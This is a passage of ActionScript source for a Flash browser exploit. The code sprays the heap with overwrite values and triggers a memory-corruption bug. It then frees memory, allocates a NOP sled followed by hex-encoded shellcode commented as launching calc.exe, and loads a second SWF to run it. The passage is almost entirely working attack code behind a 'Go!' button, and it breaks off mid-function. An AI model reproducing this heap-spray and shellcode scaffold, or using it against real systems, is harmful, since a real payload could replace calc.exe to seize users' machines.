                                val.writeInt(0);                         
                
                        log("1) allocating memory overwrite values.."); 
                        HeapLib.alloc(val, HeapLib.POOL_SIZE * 160, state2_load_movie); 
                }       
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                public function state2_load_movie(evt:Event):void {                     
                        ExternalInterface.call("crash"); 
                        log("2) triggering vulnerability.."); 
                        var timer:Timer = new Timer(8000, 1); 
                        timer.addEventListener(TimerEvent.TIMER_COMPLETE, state3_free); 
                        timer.start(); 
                        
                } 
                public function state3_free(evt:Event):void { 
                        log("3) freeing memory.."); 
                        HeapLib.free(); 
                        var timer:Timer = new Timer(3000, 1); 
                        timer.addEventListener(TimerEvent.TIMER_COMPLETE, 
state4_alloc_shellcode); 
                        timer.start(); 
 
                } 
                
                public function state4_alloc_shellcode(evt:Event):void { 
                        var val:ByteArray = new ByteArray(); 
                        val.endian = Endian.LITTLE_ENDIAN; 
                        
                        log("4) allocating shellcode.."); 
 
                        for (var i = 0; i< 890; i++) 
                        { 
                                val.writeByte(0x90); 
                        } 
                        
                        // executes calc.exe 
                        
                        val.writeInt(0x335d6eeb); 
                        val.writeInt(0xb15151c9); 
                        val.writeInt(0x2904fe10); 
                        val.writeInt(0x5008458d); 
                        val.writeInt(0x3356f58b); 
                        val.writeInt(0x6430b1c9); 
                        val.writeInt(0x408b018b); 
                        val.writeInt(0x1c708b0c); 
                        val.writeInt(0x8588bad); 
                        val.writeInt(0x8b3c438b); 
                        val.writeInt(0x8d781844); 
                        val.writeInt(0xb11c1874); 
                        val.writeInt(0xc303ad03); 
                        val.writeInt(0x5dfae250); 
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                        val.writeInt(0x8f348b5f); 
                        val.writeInt(0x448bf303); 
                        val.writeInt(0x66500424); 
                        val.writeInt(0x6641008b); 
                        val.writeInt(0x75580639); 
                        val.writeInt(0xc03350ec); 
                        val.writeInt(0xd003ac99); 
                        val.writeInt(0x4806c2c1); 
                        val.writeInt(0x6658f779); 
                        val.writeInt(0x7502503b); 
                        val.writeInt(0xb70f58d8); 
                        val.writeInt(0x3fe4d54); 
                        val.writeInt(0xff5e901c); 
                        val.writeInt(0xa2ebadd3); 
                        val.writeInt(0xffff8de8); 
                        val.writeInt(0xf16957ff); 
                        val.writeInt(0xb87845da); 
                        val.writeInt(0x6c616397); 
                        val.writeInt(0x78652e63); 
                        val.writeShort(0xff65); 
 
                        HeapLib.alloc(val, HeapLib.POOL_SIZE * 120, state5_trig_func); 
                                
                        
                } 
                
                public function state5_trig_func(evt:Event):void { 
                        log("5) triggering function"); 
                        var ldr:Loader = new Loader(); 
                        addChild(ldr); 
                        var url:URLRequest = new URLRequest("TriggerFunc.swf"); 
                        ldr.load(url); 




                public function Exploit()  { 
 
                        goButton.label = "Go!"; 
                        goButton.addEventListener(MouseEvent.CLICK, exploit); 
                } 
        } 
} 
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